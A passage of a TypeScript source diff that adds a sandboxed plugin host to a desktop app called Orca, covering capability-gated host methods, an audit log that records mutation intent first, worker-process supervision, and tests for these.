+++ b/src/main/plugins/plugin-host-method-bindings.ts
@@ -0,0 +1,181 @@
+import {
+  getPluginHostMethodSpec,
+  PLUGIN_HOST_API_V0,
+  PLUGIN_TERMINAL_ID_MAX_LENGTH,
+  PLUGIN_WORKSPACE_LABEL_MAX_LENGTH,
+  PLUGIN_WORKSPACE_TERMINAL_LIMIT,
+  type PluginHostMethodSpec
+} from '../../shared/plugins/plugin-host-api'
+import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
+
+export type PluginWorktreeContext = {
+  worktreeId: string
+  branch: string
+  displayName: string
+}
+
+/** Structural service surface the facade delegates to. Desktop main binds it
+ *  over runtime services; relay policy and conformance tests bind fakes. */
+export type PluginHostServices = {
+  resolveActiveWorktreeContext(): Promise<PluginWorktreeContext | null>
+  listWorktreeTerminals(worktreeId: string): Promise<{ id: string }[]>
+  sendTerminalText(
+    terminalId: string,
+    action: { text: string; enter: boolean }
+  ): Promise<{ accepted: boolean }>
+  dispatchPluginNotification(input: {
+    pluginId: string
+    title: string
+    body?: string
+  }): Promise<{ delivered: boolean }>
+  storage: {
+    get(pluginId: string, key: string): unknown
+    set(pluginId: string, key: string, value: unknown): { ok: true } | { ok: false; error: string }
+    delete(pluginId: string, key: string): void
+    keys(pluginId: string): string[]
+  }
+  secrets: {
+    get(
+      pluginId: string,
+      key: string
+    ): { ok: true; value: string | null } | { ok: false; error: string }
+    set(pluginId: string, key: string, value: string): { ok: true } | { ok: false; error: string }
+    delete(pluginId: string, key: string): void
+  }
+  settings: {
+    getAll(pluginId: string): Record<string, unknown>
+    set(pluginId: string, key: string, value: unknown): { ok: true } | { ok: false; error: string }
+  }
+  subscribeEvents(pluginId: string, events: PluginEventName[]): PluginEventName[]
+}
+
+export type BoundPluginHostMethod = {
+  spec: PluginHostMethodSpec
+  handler: (
+    params: unknown,
+    ctx: { pluginId: string; services: PluginHostServices }
+  ) => Promise<unknown>
+}
+
+function definePluginMethod(
+  name: string,
+  handler: BoundPluginHostMethod['handler']
+): [string, BoundPluginHostMethod] {
+  const spec = getPluginHostMethodSpec(name)
+  if (!spec) {
+    throw new Error(`no host API spec for method ${name}`)
+  }
+  return [name, { spec, handler }]
+}
+
+const HANDLERS = new Map<string, BoundPluginHostMethod>([
+  definePluginMethod('workspace.readContext', async (_params, { services }) => {
+    const context = await services.resolveActiveWorktreeContext()
+    if (!context) {
+      return null
+    }
+    const terminals = await services.listWorktreeTerminals(context.worktreeId)
+    // Why: Orca worktree ids embed provider paths, so the public projection
+    // must select safe fields instead of spreading the internal context.
+    return {
+      branch: context.branch.slice(0, PLUGIN_WORKSPACE_LABEL_MAX_LENGTH),
+      displayName: context.displayName.slice(0, PLUGIN_WORKSPACE_LABEL_MAX_LENGTH),
+      terminals: terminals
+        .filter(
+          (terminal) =>
+            terminal.id.length > 0 && terminal.id.length <= PLUGIN_TERMINAL_ID_MAX_LENGTH
+        )
+        .slice(0, PLUGIN_WORKSPACE_TERMINAL_LIMIT)
+        .map((terminal) => ({ id: terminal.id }))
+    }
+  }),
+  definePluginMethod('terminal.sendText', async (params, { services }) => {
+    const { terminalId, text, enter } = params as {
+      terminalId: string
+      text: string
+      enter: boolean
+    }
+    const context = await services.resolveActiveWorktreeContext()
+    if (!context) {
+      throw new Error('no active worktree is available for terminal input')
+    }
+    // Why: terminal handles are provider-owned and can outlive focus changes;
+    // re-list the resolved worktree immediately before routing plugin input.
+    const terminals = await services.listWorktreeTerminals(context.worktreeId)
+    if (!terminals.some((terminal) => terminal.id === terminalId)) {
+      throw new Error('terminal is outside the active worktree')
+    }
+    const result = await services.sendTerminalText(terminalId, { text, enter })
+    return { accepted: result.accepted }
+  }),
+  definePluginMethod('notifications.show', async (params, { pluginId, services }) => {
+    const { title, body } = params as { title: string; body?: string }
+    return services.dispatchPluginNotification({ pluginId, title, body })
+  }),
+  definePluginMethod('storage.get', async (params, { pluginId, services }) => {
+    const { key } = params as { key: string }
+    return { value: services.storage.get(pluginId, key) ?? null }
+  }),
+  definePluginMethod('storage.set', async (params, { pluginId, services }) => {
+    const { key, value } = params as { key: string; value: unknown }
+    const result = services.storage.set(pluginId, key, value)
+    if (!result.ok) {
+      throw new Error(result.error)
+    }
+    return { ok: true }
+  }),
+  definePluginMethod('storage.delete', async (params, { pluginId, services }) => {
+    const { key } = params as { key: string }
+    services.storage.delete(pluginId, key)
+    return { ok: true }
+  }),
+  definePluginMethod('storage.keys', async (_params, { pluginId, services }) => {
+    return { keys: services.storage.keys(pluginId) }
+  }),
+  definePluginMethod('secrets.get', async (params, { pluginId, services }) => {
+    const { key } = params as { key: string }
+    const result = services.secrets.get(pluginId, key)
+    if (!result.ok) {
+      throw new Error(result.error)
+    }
+    return { value: result.value }
+  }),
+  definePluginMethod('secrets.set', async (params, { pluginId, services }) => {
+    const { key, value } = params as { key: string; value: string }
+    const result = services.secrets.set(pluginId, key, value)
+    if (!result.ok) {
+      throw new Error(result.error)
+    }
+    return { ok: true }
+  }),
+  definePluginMethod('secrets.delete', async (params, { pluginId, services }) => {
+    const { key } = params as { key: string }
+    services.secrets.delete(pluginId, key)
+    return { ok: true }
+  }),
+  definePluginMethod('settings.get', async (_params, { pluginId, services }) => {
+    return { settings: services.settings.getAll(pluginId) }
+  }),
+  definePluginMethod('settings.set', async (params, { pluginId, services }) => {
+    const { key, value } = params as { key: string; value: unknown }
+    const result = services.settings.set(pluginId, key, value)
+    if (!result.ok) {
+      throw new Error(result.error)
+    }
+    return { ok: true }
+  }),
+  definePluginMethod('events.subscribe', async (params, { pluginId, services }) => {
+    const { events } = params as { events: PluginEventName[] }
+    return { subscribed: services.subscribeEvents(pluginId, events) }
+  })
+])
+
+// Why: adding a facade schema without a binding must fail at module load,
+// before a plugin can observe transport-specific behavior.
+if (HANDLERS.size !== PLUGIN_HOST_API_V0.length) {
+  throw new Error('plugin host API spec table and handler bindings are out of sync')
+}
+
+export function getBoundPluginHostMethod(name: string): BoundPluginHostMethod | null {
+  return HANDLERS.get(name) ?? null
+}
diff --git a/src/main/plugins/plugin-host-methods.test.ts b/src/main/plugins/plugin-host-methods.test.ts
new file mode 100644
index 000000000..19b12f43d
--- /dev/null
+++ b/src/main/plugins/plugin-host-methods.test.ts
@@ -0,0 +1,232 @@
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { describe, expect, it, vi } from 'vitest'
+import { PLUGIN_WORKSPACE_TERMINAL_LIMIT } from '../../shared/plugins/plugin-host-api'
+import { bindPluginHostServices, type PluginRuntimeDelegate } from './plugin-host-service-bindings'
+import { executePluginHostCall, type PluginHostServices } from './plugin-host-methods'
+
+function createServices(storageSet: PluginHostServices['storage']['set']): PluginHostServices {
+  return {
+    resolveActiveWorktreeContext: vi.fn().mockResolvedValue(null),
+    listWorktreeTerminals: vi.fn().mockResolvedValue([]),
+    sendTerminalText: vi.fn().mockResolvedValue({ accepted: true }),
+    dispatchPluginNotification: vi.fn().mockResolvedValue({ delivered: true }),
+    storage: {
+      get: vi.fn(),
+      set: storageSet,
+      delete: vi.fn(),
+      keys: vi.fn().mockReturnValue([])
+    },
+    secrets: {
+      get: vi.fn().mockReturnValue({ ok: true, value: null }),
+      set: vi.fn().mockReturnValue({ ok: true }),
+      delete: vi.fn()
+    },
+    settings: {
+      getAll: vi.fn().mockReturnValue({}),
+      set: vi.fn().mockReturnValue({ ok: true })
+    },
+    subscribeEvents: vi.fn().mockReturnValue([])
+  }
+}
+
+describe('executePluginHostCall mutation auditing', () => {
+  it('rejects prototype-sensitive storage keys before any host service call', async () => {
+    const storageSet = vi.fn().mockReturnValue({ ok: true })
+    const outcome = await executePluginHostCall({
+      pluginId: 'orca-samples.demo',
+      method: 'storage.set',
+      params: { key: '__proto__', value: 42 },
+      viaPanel: false,
+      grantedCapabilities: ['storage'],
+      services: createServices(storageSet),
+      audit: { record: vi.fn().mockResolvedValue(undefined) }
+    })
+
+    expect(outcome).toMatchObject({ ok: false, code: 'invalid_params' })
+    expect(storageSet).not.toHaveBeenCalled()
+  })
+
+  it('rejects non-JSON storage values before any host service call', async () => {
+    const storageSet = vi.fn().mockReturnValue({ ok: true })
+    const outcome = await executePluginHostCall({
+      pluginId: 'orca-samples.demo',
+      method: 'storage.set',
+      params: { key: 'created', value: new Date() },
+      viaPanel: false,
+      grantedCapabilities: ['storage'],
+      services: createServices(storageSet),
+      audit: { record: vi.fn().mockResolvedValue(undefined) }
+    })
+
+    expect(outcome).toMatchObject({ ok: false, code: 'invalid_params' })
+    expect(storageSet).not.toHaveBeenCalled()
+  })
+
+  it('fails closed before a mutation when the audit intent cannot be recorded', async () => {
+    const storageSet = vi.fn().mockReturnValue({ ok: true })
+    const outcome = await executePluginHostCall({
+      pluginId: 'orca-samples.demo',
+      method: 'storage.set',
+      params: { key: 'answer', value: 42 },
+      viaPanel: false,
+      grantedCapabilities: ['storage'],
+      services: createServices(storageSet),
+      audit: { record: vi.fn().mockRejectedValue(new Error('disk full')) }
+    })
+
+    expect(outcome).toMatchObject({ ok: false, code: 'action_failed' })
+    expect(storageSet).not.toHaveBeenCalled()
+  })
+
+  it('records an intent before the mutation and its outcome afterward', async () => {
+    const order: string[] = []
+    const storageSet = vi.fn(() => {
+      order.push('mutation')
+      return { ok: true as const }
+    })
+    const record = vi.fn(async (entry: { outcome: string }) => {
+      order.push(`audit:${entry.outcome}`)
+    })
+
+    const outcome = await executePluginHostCall({
+      pluginId: 'orca-samples.demo',
+      method: 'storage.set',
+      params: { key: 'answer', value: 42 },
+      viaPanel: false,
+      grantedCapabilities: ['storage'],
+      services: createServices(storageSet),
+      audit: { record }
+    })
+
+    expect(outcome).toEqual({ ok: true, value: { ok: true } })
+    expect(order).toEqual(['audit:attempt', 'mutation', 'audit:ok'])
+  })
+
+  it('refuses mutations when no audit writer is configured', async () => {
+    const storageSet = vi.fn().mockReturnValue({ ok: true })
+    const outcome = await executePluginHostCall({
+      pluginId: 'orca-samples.demo',
+      method: 'storage.set',
+      params: { key: 'answer', value: 42 },
+      viaPanel: false,
+      grantedCapabilities: ['storage'],
+      services: createServices(storageSet)
+    })
+
+    expect(outcome).toMatchObject({ ok: false, code: 'unavailable' })
+    expect(storageSet).not.toHaveBeenCalled()
+  })
+})
+
+function createTerminalHarness(terminalHandles: string[]): {
+  delegate: PluginRuntimeDelegate
+  services: PluginHostServices
+} {
+  const delegate: PluginRuntimeDelegate = {
+    resolveActiveWorktreeContext: vi.fn().mockResolvedValue({
+      worktreeId: 'worktree-1',
+      path: '/Users/private/repo',
+      branch: 'main',
+      displayName: 'Repo'
+    }),
+    listTerminals: vi.fn().mockResolvedValue({
+      terminals: terminalHandles.map((handle) => ({ handle, title: null }))
+    }),
+    sendTerminal: vi.fn().mockResolvedValue({ accepted: true }),
+    dispatchPluginNotification: vi.fn().mockResolvedValue({ delivered: true })
+  }
+  return {
+    delegate,
+    services: bindPluginHostServices({
+      delegate,
+      pluginsDataDir: join(tmpdir(), 'plugin-host-methods-test'),
+      subscribeEvents: vi.fn().mockReturnValue([])
+    })
+  }
+}
+
+async function sendTerminalText(
+  services: PluginHostServices,
+  terminalId: string
+): ReturnType<typeof executePluginHostCall> {
+  return executePluginHostCall({
+    pluginId: 'orca-samples.demo',
+    method: 'terminal.sendText',
+    params: { terminalId, text: 'echo hi', enter: true },
+    viaPanel: true,
+    grantedCapabilities: ['terminal:send'],
+    services,
+    audit: { record: vi.fn().mockResolvedValue(undefined) }
+  })
+}
+
+describe('terminal.sendText explicit worktree routing', () => {
+  it('performs one bounded list and zero sends when the terminal is outside the worktree', async () => {
+    const { delegate, services } = createTerminalHarness(['terminal:local:other'])
+
+    const outcome = await sendTerminalText(services, 'terminal:ssh:requested')
+
+    expect(outcome).toMatchObject({ ok: false, code: 'action_failed' })
+    expect(delegate.resolveActiveWorktreeContext).toHaveBeenCalledTimes(1)
+    expect(delegate.listTerminals).toHaveBeenCalledTimes(1)
+    expect(delegate.listTerminals).toHaveBeenCalledWith(
+      'id:worktree-1',
+      PLUGIN_WORKSPACE_TERMINAL_LIMIT
+    )
+    expect(delegate.sendTerminal).not.toHaveBeenCalled()
+  })
+
+  it.each(['terminal:local:one', 'terminal:ssh:opaque-provider-id'])(
+    'performs one bounded list and one send for provider-agnostic id %s',
+    async (terminalId) => {
+      const { delegate, services } = createTerminalHarness([terminalId])
+
+      const outcome = await sendTerminalText(services, terminalId)
+
+      expect(outcome).toEqual({ ok: true, value: { accepted: true } })
+      expect(delegate.resolveActiveWorktreeContext).toHaveBeenCalledTimes(1)
+      expect(delegate.listTerminals).toHaveBeenCalledTimes(1)
+      expect(delegate.listTerminals).toHaveBeenCalledWith(
+        'id:worktree-1',
+        PLUGIN_WORKSPACE_TERMINAL_LIMIT
+      )
+      expect(delegate.sendTerminal).toHaveBeenCalledTimes(1)
+      expect(delegate.sendTerminal).toHaveBeenCalledWith(terminalId, {
+        text: 'echo hi',
+        enter: true
+      })
+      expect(vi.mocked(delegate.listTerminals).mock.invocationCallOrder[0]!).toBeLessThan(
+        vi.mocked(delegate.sendTerminal).mock.invocationCallOrder[0]!
+      )
+    }
+  )
+
+  it('bounds workspace.readContext and omits the provider path', async () => {
+    const handles = Array.from(
+      { length: PLUGIN_WORKSPACE_TERMINAL_LIMIT + 10 },
+      (_, index) => `terminal:local:${index}`
+    )
+    const { delegate, services } = createTerminalHarness(handles)
+
+    const outcome = await executePluginHostCall({
+      pluginId: 'orca-samples.demo',
+      method: 'workspace.readContext',
+      params: {},
+      viaPanel: true,
+      grantedCapabilities: ['workspace:read'],
+      services
+    })
+
+    expect(outcome).toMatchObject({
+      ok: true,
+      value: { branch: 'main', displayName: 'Repo' }
+    })
+    expect(outcome).not.toHaveProperty('value.path')
+    expect(outcome).not.toHaveProperty('value.worktreeId')
+    expect(outcome.ok && (outcome.value as { terminals: unknown[] }).terminals).toHaveLength(
+      PLUGIN_WORKSPACE_TERMINAL_LIMIT
+    )
+    expect(delegate.listTerminals).toHaveBeenCalledTimes(1)
+  })
+})
diff --git a/src/main/plugins/plugin-host-methods.ts b/src/main/plugins/plugin-host-methods.ts
new file mode 100644
index 000000000..c4ffb0053
--- /dev/null
+++ b/src/main/plugins/plugin-host-methods.ts
@@ -0,0 +1,144 @@
+import { getBoundPluginHostMethod, type PluginHostServices } from './plugin-host-method-bindings'
+import { isQualifiedPluginKey } from '../../shared/plugins/plugin-manifest'
+import { gatePluginHostCall as decidePluginHostCall } from '../../shared/plugins/plugin-capability-gate'
+import type { PluginCapabilityKind } from '../../shared/plugins/plugin-capabilities'
+import type { PluginPanelActionOutcome } from '../../shared/plugins/plugin-panel-bridge'
+import type { PluginAuditLog } from './plugin-audit-log'
+
+/**
+ * Host API v0 handler bindings — the one place plugin-originated calls
+ * (panel bridge, worker hostCall, serve RPC relay) execute. Handlers
+ * delegate to runtime services through the structural `PluginHostServices`
+ * interface, so this module stays electron-free and the relay conformance
+ * suite can run the identical chokepoint against a fake service set.
+ */
+
+export type { PluginHostServices } from './plugin-host-method-bindings'
+
+export type ExecutePluginHostCallInput = {
+  /** Qualified plugin key, bound host-side from authenticated identity. */
+  pluginId: string
+  method: string
+  params: unknown
+  /** True when the call arrives over the sandboxed panel bridge. */
+  viaPanel: boolean
+  /** Consented capability kinds; null = unknown/disabled/consent-stale. */
+  grantedCapabilities: readonly PluginCapabilityKind[] | null
+  services: PluginHostServices | null
+  audit?: Pick<PluginAuditLog, 'record'>
+}
+
+export async function executePluginHostCall(
+  input: ExecutePluginHostCallInput
+): Promise<PluginPanelActionOutcome> {
+  if (!isQualifiedPluginKey(input.pluginId)) {
+    return { ok: false, code: 'invalid_request', error: 'invalid qualified plugin key' }
+  }
+  const gate = decidePluginHostCall(
+    { grantedCapabilities: input.grantedCapabilities, viaPanel: input.viaPanel },
+    input.method
+  )
+  if (!gate.granted) {
+    return { ok: false, code: gate.code, error: gate.error }
+  }
+  const bound = getBoundPluginHostMethod(input.method)
+  if (!bound) {
+    return { ok: false, code: 'unknown_method', error: `unknown host method: ${input.method}` }
+  }
+  const parsedParams = bound.spec.params.safeParse(input.params)
+  if (!parsedParams.success) {
+    const issue = parsedParams.error.issues[0]
+    const path = issue?.path.join('.') || '(root)'
+    return {
+      ok: false,
+      code: 'invalid_params',
+      error: `${path}: ${issue?.message ?? 'invalid params'}`
+    }
+  }
+  if (!input.services) {
+    return { ok: false, code: 'unavailable', error: 'runtime is not available' }
+  }
+  const auditMutation = async (outcome: 'attempt' | 'ok' | 'error'): Promise<void> => {
+    if (bound.spec.mutation && input.audit) {
+      await input.audit.record({
+        ts: Date.now(),
+        actor: `plugin:${input.pluginId}`,
+        method: input.method,
+        summary: summarizeParams(input.method, parsedParams.data),
+        outcome
+      })
+    }
+  }
+  if (bound.spec.mutation) {
+    if (!input.audit) {
+      return {
+        ok: false,
+        code: 'unavailable',
+        error: 'mutation audit log is not available'
+      }
+    }
+    try {
+      // The intent is appended before the handler. If this write fails, the
+      // mutation is never attempted.
+      await auditMutation('attempt')
+    } catch {
+      return {
+        ok: false,
+        code: 'action_failed',
+        error: 'mutation audit log could not be written'
+      }
+    }
+  }
+  try {
+    const value = await bound.handler(parsedParams.data, {
+      pluginId: input.pluginId,
+      services: input.services
+    })
+    const validated = bound.spec.result.safeParse(value)
+    if (!validated.success) {
+      await auditMutation('error').catch(() => undefined)
+      // A result-schema mismatch is a host bug; fail the call rather than
+      // leaking an unvalidated shape into plugin-facing transports.
+      return {
+        ok: false,
+        code: 'action_failed',
+        error: `internal: malformed ${input.method} result`
+      }
+    }
+    await auditMutation('ok').catch(() => undefined)
+    return { ok: true, value: validated.data }
+  } catch (error) {
+    await auditMutation('error').catch(() => undefined)
+    return {
+      ok: false,
+      code: 'action_failed',
+      error: error instanceof Error ? error.message : String(error)
+    }
+  }
+}
+
+/** Bounded, content-free summaries for the audit log. */
+function summarizeParams(method: string, params: unknown): string {
+  const record = (typeof params === 'object' && params !== null ? params : {}) as Record<
+    string,
+    unknown
+  >
+  switch (method) {
+    case 'terminal.sendText': {
+      const text = typeof record.text === 'string' ? record.text : ''
+      return `terminal=${String(record.terminalId)} bytes=${Buffer.byteLength(text, 'utf8')} enter=${record.enter === true}`
+    }
+    case 'notifications.show': {
+      const title = typeof record.title === 'string' ? record.title : ''
+      return `titleChars=${title.length}`
+    }
+    case 'storage.set':
+    case 'storage.delete':
+    case 'secrets.set':
+    case 'secrets.delete':
+    case 'settings.set':
+      return `key=${String(record.key)}`
+    default:
+      return ''
+  }
+}
diff --git a/src/main/plugins/plugin-host-process.test.ts b/src/main/plugins/plugin-host-process.test.ts
new file mode 100644
index 000000000..2c4716f8e
--- /dev/null
+++ b/src/main/plugins/plugin-host-process.test.ts
@@ -0,0 +1,135 @@
+import { EventEmitter } from 'node:events'
+import { PassThrough } from 'node:stream'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+const processMocks = vi.hoisted(() => ({ fork: vi.fn() }))
+vi.mock('node:child_process', () => ({ fork: processMocks.fork }))
+
+import { startPluginWorker } from './plugin-host-process'
+
+class FakeChild extends EventEmitter {
+  connected = true
+  stdout = new PassThrough()
+  stderr = new PassThrough()
+  send = vi.fn()
+  kill = vi.fn()
+}
+
+function start(child: FakeChild, options: { eventTimeoutMs?: number } = {}) {
+  processMocks.fork.mockReturnValue(child)
+  return startPluginWorker({
+    pluginId: 'orca-samples.demo',
+    rootDir: '/plugin',
+    mainEntry: 'worker.js',
+    entryPath: '/host.js',
+    grantedCapabilities: [],
+    executeHostCall: async () => ({ ok: true, value: null }),
+    log: vi.fn(),
+    ...options
+  })
+}
+
+beforeEach(() => {
+  processMocks.fork.mockReset()
+})
+
+afterEach(() => {
+  vi.useRealTimers()
+})
+
+describe('startPluginWorker', () => {
+  it('does not inherit Orca execArgv', async () => {
+    const child = new FakeChild()
+    const pending = start(child)
+    child.emit('message', { type: 'ready', commands: [] })
+    await pending
+
+    expect(processMocks.fork).toHaveBeenCalledWith(
+      '/host.js',
+      [],
+      expect.objectContaining({ execArgv: [] })
+    )
+  })
+
+  it('replays an exit that happened before handle registration', async () => {
+    const child = new FakeChild()
+    const pending = start(child)
+    child.emit('message', { type: 'ready', commands: ['run'] })
+    const handle = await pending
+    child.emit('exit', 23)
+    const onExit = vi.fn()
+
+    handle.onExit(onExit)
+
+    expect(onExit).toHaveBeenCalledOnce()
+    expect(onExit).toHaveBeenCalledWith(23)
+  })
+
+  it('kills a live worker that disconnects its IPC channel', async () => {
+    const child = new FakeChild()
+    const pending = start(child)
+    child.emit('message', { type: 'ready', commands: ['run'] })
+    const handle = await pending
+    const command = handle.invokeCommand('run')
+    child.connected = false
+
+    child.emit('disconnect')
+
+    await expect(command).rejects.toThrow('disconnected')
+    expect(child.kill).toHaveBeenCalledWith('SIGKILL')
+  })
+
+  it('counts delivered events as in flight until their acknowledgement', async () => {
+    const child = new FakeChild()
+    const pending = start(child)
+    child.emit('message', { type: 'ready', commands: [] })
+    const handle = await pending
+
+    handle.deliverEvent('worktree.created', {
+      worktreeId: 'worktree-1',
+      path: '/repo',
+      branch: 'feature'
+    })
+
+    expect(handle.inFlightCount()).toBe(1)
+    child.emit('message', { type: 'eventAck', eventId: 0 })
+    expect(handle.inFlightCount()).toBe(0)
+  })
+
+  it('kills a worker whose event handler never acknowledges completion', async () => {
+    vi.useFakeTimers()
+    const child = new FakeChild()
+    const pending = start(child, { eventTimeoutMs: 25 })
+    child.emit('message', { type: 'ready', commands: [] })
+    const handle = await pending
+
+    handle.deliverEvent('worktree.created', {
+      worktreeId: 'worktree-1',
+      path: '/repo',
+      branch: 'feature'
+    })
+    await vi.advanceTimersByTimeAsync(25)
+
+    expect(handle.inFlightCount()).toBe(0)
+    expect(child.kill).toHaveBeenCalledWith('SIGKILL')
+  })
+
+  it('kills a worker that exceeds the pending event cap', async () => {
+    const child = new FakeChild()
+    const pending = start(child)
+    child.emit('message', { type: 'ready', commands: [] })
+    const handle = await pending
+
+    for (let index = 0; index < 65; index += 1) {
+      handle.deliverEvent('agent.status.changed', {
+        worktreeId: null,
+        paneKey: `pane-${index}`,
+        state: 'working',
+        receivedAt: Date.now()
+      })
+    }
+
+    expect(handle.inFlightCount()).toBe(64)
+    expect(child.kill).toHaveBeenCalledWith('SIGKILL')
+  })
+})
diff --git a/src/main/plugins/plugin-host-process.ts b/src/main/plugins/plugin-host-process.ts
new file mode 100644
index 000000000..0c289d502
--- /dev/null
+++ b/src/main/plugins/plugin-host-process.ts
@@ -0,0 +1,332 @@
+import { fork, type ChildProcess } from 'node:child_process'
+import { existsSync } from 'node:fs'
+import { join } from 'node:path'
+import {
+  PLUGIN_WORKER_INVOKE_TIMEOUT_MS,
+  PLUGIN_WORKER_READY_TIMEOUT_MS,
+  pluginWorkerChildMessageSchema,
+  type PluginWorkerParentMessage
+} from '../../shared/plugins/plugin-host-protocol'
+import type { PluginCapabilityKind } from '../../shared/plugins/plugin-capabilities'
+import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
+import type { PluginPanelActionOutcome } from '../../shared/plugins/plugin-panel-bridge'
+import { buildPluginWorkerEnv } from './plugin-worker-env'
+import { pipePluginWorkerOutput } from './plugin-worker-output-buffer'
+
+// Grace between the shutdown message and SIGKILL: long enough for plugin
+// cleanup, short enough that disable/quit never feels stuck.
+const PLUGIN_WORKER_SHUTDOWN_GRACE_MS = 2_000
+const PLUGIN_WORKER_EVENT_TIMEOUT_MS = 5 * 60_000
+const PLUGIN_WORKER_MAX_PENDING_EVENTS = 64
+
+export type PluginWorkerLogSink = (level: 'info' | 'warn' | 'error', line: string) => void
+
+/** Executes a worker-originated host API call; the outcome is relayed back
+ *  over the fork channel as a hostResult message. */
+export type PluginWorkerHostCallExecutor = (
+  method: string,
+  params: unknown
+) => Promise<PluginPanelActionOutcome>
+
+export type PluginWorkerHandle = {
+  /** Command ids the worker registered on activate (⊆ manifest commands). */
+  commands: readonly string[]
+  invokeCommand(commandId: string, args?: unknown): Promise<unknown>
+  deliverEvent(event: PluginEventName, payload: unknown): void
+  /** Milliseconds timestamp of the last completed work (for idle reap). */
+  lastActivityAt(): number
+  inFlightCount(): number
+  dispose(): Promise<void>
+  kill(): void
+  onExit(callback: (code: number | null) => void): void
+}
+
+export type StartPluginWorkerOptions = {
+  pluginId: string
+  rootDir: string
+  mainEntry: string
+  /** Absolute path to the compiled plugin-host-entry.js, resolved by caller. */
+  entryPath: string
+  grantedCapabilities: readonly PluginCapabilityKind[]
+  executeHostCall: PluginWorkerHostCallExecutor
+  log: PluginWorkerLogSink
+  readyTimeoutMs?: number
+  invokeTimeoutMs?: number
+  eventTimeoutMs?: number
+  signal?: AbortSignal
+}
+
+/**
+ * Resolves the compiled child entry from the app path. Mirrors
+ * getDaemonEntryPath(): packaged apps must fork the asar-unpacked copy
+ * because fork() cannot execute scripts from inside app.asar.
+ */
+export function resolvePluginHostEntryPath(appPath: string, isPackaged: boolean): string {
+  const basePath = isPackaged ? appPath.replace('app.asar', 'app.asar.unpacked') : appPath
+  const directEntryPath = join(basePath, 'plugin-host-entry.js')
+  if (existsSync(directEntryPath)) {
+    return directEntryPath
+  }
+  return join(basePath, 'out', 'main', 'plugin-host-entry.js')
+}
+
+type PendingCall = {
+  resolve: (value: unknown) => void
+  reject: (error: Error) => void
+  timer: ReturnType<typeof setTimeout>
+}
+
+export async function startPluginWorker(
+  options: StartPluginWorkerOptions
+): Promise<PluginWorkerHandle> {
+  const { pluginId, rootDir, mainEntry, entryPath, log } = options
+  const readyTimeoutMs = options.readyTimeoutMs ?? PLUGIN_WORKER_READY_TIMEOUT_MS
+  const invokeTimeoutMs = options.invokeTimeoutMs ?? PLUGIN_WORKER_INVOKE_TIMEOUT_MS
+  const eventTimeoutMs = options.eventTimeoutMs ?? PLUGIN_WORKER_EVENT_TIMEOUT_MS
+  const tag = `[plugin:${pluginId}]`
+
+  const child: ChildProcess = fork(entryPath, [], {
+    // Why: ELECTRON_RUN_AS_NODE makes the forked Electron binary behave as
+    // plain Node. The env is a scrubbed allowlist — never ...process.env,
+    // which can carry shell-exported secrets into third-party code.
+    env: buildPluginWorkerEnv(),
+    // Why: inspector/loader flags from Orca's own launch must never execute
+    // inside third-party plugin workers.
+    execArgv: [],
+    // Why: the protocol permits structured-clone values. Node's default JSON
+    // fork serialization rejects BigInt, cycles, maps, and typed arrays.
+    serialization: 'advanced',
+    stdio: ['ignore', 'pipe', 'pipe', 'ipc']
+  })
+  pipePluginWorkerOutput(child.stdout, 'info', log)
+  pipePluginWorkerOutput(child.stderr, 'error', log)
+
+  const pendingCommands = new Map<number, PendingCall>()
+  const pendingEvents = new Map<number, ReturnType<typeof setTimeout>>()
+  const exitCallbacks: ((code: number | null) => void)[] = []
+  let nextCallId = 0
+  let nextEventId = 0
+  let exited = false
+  let exitCode: number | null = null
+  let disposed = false
+  let lastActivityAt = Date.now()
+
+  function sendToChild(message: PluginWorkerParentMessage): void {
+    if (child.connected) {
+      child.send(message)
+    }
+  }
+
+  function rejectAllPending(reason: string): void {
+    for (const [callId, entry] of pendingCommands) {
+      clearTimeout(entry.timer)
+      pendingCommands.delete(callId)
+      entry.reject(new Error(reason))
+    }
+    for (const timer of pendingEvents.values()) {
+      clearTimeout(timer)
+    }
+    pendingEvents.clear()
+  }
+
+  child.on('exit', (code) => {
+    exited = true
+    exitCode = code
+    rejectAllPending(`${tag} worker exited before responding`)
+    for (const callback of exitCallbacks) {
+      callback(code)
+    }
+  })
+  child.on('disconnect', () => {
+    // Why: a worker can drop fork IPC while its event loop stays alive. Kill
+    // it so the ensuing exit enters the normal supervision/backoff path.
+    rejectAllPending(`${tag} worker disconnected before responding`)
+    if (!exited) {
+      child.kill('SIGKILL')
+    }
+  })
+
+  const commands = await new Promise<string[]>((resolve, reject) => {
+    let settled = false
+    const timer = setTimeout(() => {
+      fail(new Error(`${tag} worker did not become ready within ${readyTimeoutMs}ms`))
+      child.kill('SIGKILL')
+    }, readyTimeoutMs)
+    function fail(error: Error): void {
+      if (!settled) {
+        settled = true
+        clearTimeout(timer)
+        options.signal?.removeEventListener('abort', onAbort)
+        reject(error)
+      }
+    }
+    const onAbort = (): void => {
+      fail(new Error(`${tag} worker startup was cancelled`))
+      child.kill('SIGKILL')
+    }
+    options.signal?.addEventListener('abort', onAbort, { once: true })
+    child.on('error', (error) => {
+      const failure = new Error(`${tag} worker process error: ${error.message}`)
+      fail(failure)
+      child.kill('SIGKILL')
+      // Why: fail() no-ops once ready; a post-ready channel fault must still
+      // reject in-flight calls instead of letting each hit its own timeout.
+      rejectAllPending(failure.message)
+    })
+    child.on('exit', (code) => fail(new Error(`${tag} worker exited before ready (code ${code})`)))
+    child.on('message', (raw) => {
+      const parsed = pluginWorkerChildMessageSchema.safeParse(raw)
+      if (!parsed.success) {
+        log('warn', 'ignoring malformed worker message')
+        return
+      }
+      const message = parsed.data
+      switch (message.type) {
+        case 'ready': {
+          if (!settled) {
+            settled = true
+            clearTimeout(timer)
+            options.signal?.removeEventListener('abort', onAbort)
+            resolve(message.commands)
+          }
+          return
+        }
+        case 'commandResult': {
+          const entry = pendingCommands.get(message.callId)
+          if (!entry) {
+            return
+          }
+          clearTimeout(entry.timer)
+          pendingCommands.delete(message.callId)
+          lastActivityAt = Date.now()
+          if (message.ok) {
+            entry.resolve(message.value)
+          } else {
+            entry.reject(new Error(message.error ?? 'plugin command failed'))
+          }
+          return
+        }
+        case 'eventAck': {
+          const timer = pendingEvents.get(message.eventId)
+          if (timer) {
+            clearTimeout(timer)
+            pendingEvents.delete(message.eventId)
+          }
+          lastActivityAt = Date.now()
+          return
+        }
+        case 'hostCall': {
+          lastActivityAt = Date.now()
+          // Host API calls from the worker: gate + execute in main, then
